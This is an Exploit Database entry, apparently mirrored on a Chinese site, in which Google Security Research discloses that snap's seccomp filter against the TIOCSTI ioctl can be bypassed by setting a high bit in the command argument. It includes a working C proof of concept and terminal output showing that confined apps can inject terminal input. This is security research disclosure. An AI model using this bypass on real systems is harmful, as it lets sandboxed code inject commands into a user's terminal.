snap – seccomp BBlacklist for TIOCSTI can be Circumvented

• Exploit Database
• 34 阅读

• 作者： Google Security Research
  日期： 2019-03-22
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46594/

• /*
  snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
  source code, this filter is expressed as follows:
  
  # TIOCSTI allows for faking input (man tty_ioctl)
  # TODO: this should be scaled back even more
  ioctl - !TIOCSTI
  
  In the X86-64 version of the compiled seccomp filter, this results in the
  following BPF bytecode:
  
  [...]
  0139 if nr == 0x00000010: [true +0, false +3]
  013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
  0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
  030a ret ALLOW (syscalls: ioctl)
  [...]
  
  This bytecode performs a 64-bit comparison; however, the syscall entry point for
  ioctl() is defined with a 32-bit command argument in the kernel:
  
  SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
  {
  return ksys_ioctl(fd, cmd, arg);
  }
  
  This means that setting a bit in the high half of the command parameter will
  circumvent the seccomp filter while being ignored by the kernel.
  
  This can be tested as follows on Ubuntu 18.04. You might have to launch the
  GNOME calculator once first to create the snap directory hierarchy, I'm not
  sure.
  
  ====================================================================
  user@ubuntu-18-04-vm:~$ cat tiocsti.c
  */
  
  #define _GNU_SOURCE
  #include <termios.h>
  #include <sys/ioctl.h>
  #include <unistd.h>
  #include <stdio.h>
  #include <sys/syscall.h>
  #include <errno.h>
  
  static int ioctl64(int fd, unsigned long nr, void *arg) {
  errno = 0;
  return syscall(__NR_ioctl, fd, nr, arg);
  }
  
  int main(void) {
  int res;
  char pushmeback = '#';
  res = ioctl64(0, TIOCSTI, &pushmeback);
  printf("normal TIOCSTI: %d (%m)\n", res);
  res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
  printf("high-bit-set TIOCSTI: %d (%m)\n", res);
  }
  
  /*
  user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall
  user@ubuntu-18-04-vm:~$ ./tiocsti
  #normal TIOCSTI: 0 (Success)
  #high-bit-set TIOCSTI: 0 (Success)
  user@ubuntu-18-04-vm:~$ ##
  user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
  user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator
  [...]
  user@ubuntu-18-04-vm:/home/user$ cd
  user@ubuntu-18-04-vm:~$ ./tiocsti
  normal TIOCSTI: -1 (Operation not permitted)
  #high-bit-set TIOCSTI: 0 (Success)
  user@ubuntu-18-04-vm:~$ #
  user@ubuntu-18-04-vm:~$ pwd
  /home/user/snap/gnome-calculator/260
  user@ubuntu-18-04-vm:~$ 
  ====================================================================
  */